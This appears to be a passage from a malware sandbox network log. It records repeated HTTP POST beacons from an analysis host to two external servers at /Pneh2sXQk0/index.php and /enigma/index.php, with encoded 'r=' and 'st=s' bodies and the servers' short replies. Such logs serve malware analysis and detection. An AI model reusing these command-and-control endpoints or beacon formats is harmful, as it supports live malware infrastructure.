Apr 19, 2024 03:36:31.339226961 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:31.585488081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1427	192.168.2.5	51282	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:31.802980900 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:32.046503067 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1428	192.168.2.5	51283	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:31.911051035 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:32.153614044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1429	192.168.2.5	51284	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:32.292921066 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:32.540616989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1430	192.168.2.5	51285	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:32.405694962 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:32.654869080 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1431	192.168.2.5	51286	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:32.883845091 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:33.125235081 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1432	192.168.2.5	51287	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:32.980370045 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:33.228178978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1433	192.168.2.5	51288	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:33.383054972 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:33.638498068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1434	192.168.2.5	51289	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:33.479418039 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:33.727906942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.5	51290	193.233.132.167	80	2956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:33.987055063 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:34.237394094 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1436	192.168.2.5	51291	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:34.053054094 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:34.295047045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1437	192.168.2.5	51292	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:34.486393929 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:34.734529018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1438	192.168.2.5	51293	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:34.545939922 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:34.798774004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1439	192.168.2.5	51294	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:35.085906982 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:35.331721067 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1440	192.168.2.5	51295	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:35.131383896 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:35.376146078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1441	192.168.2.5	51296	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:35.590260983 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:35.844428062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1442	192.168.2.5	51297	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:35.619990110 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:35.861323118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1443	192.168.2.5	51298	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:36.182342052 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:36.430226088 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1444	192.168.2.5	51299	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:36.199856997 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:36.448268890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1445	192.168.2.5	51300	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:36.684195042 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:36.937964916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1446	192.168.2.5	51301	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:36.700627089 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:36.952917099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1447	192.168.2.5	51302	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:37.275361061 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:37.522259951 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1448	192.168.2.5	51303	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:37.286827087 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:37.530177116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1449	192.168.2.5	51304	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:37.775175095 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:38.025163889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1450	192.168.2.5	51305	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
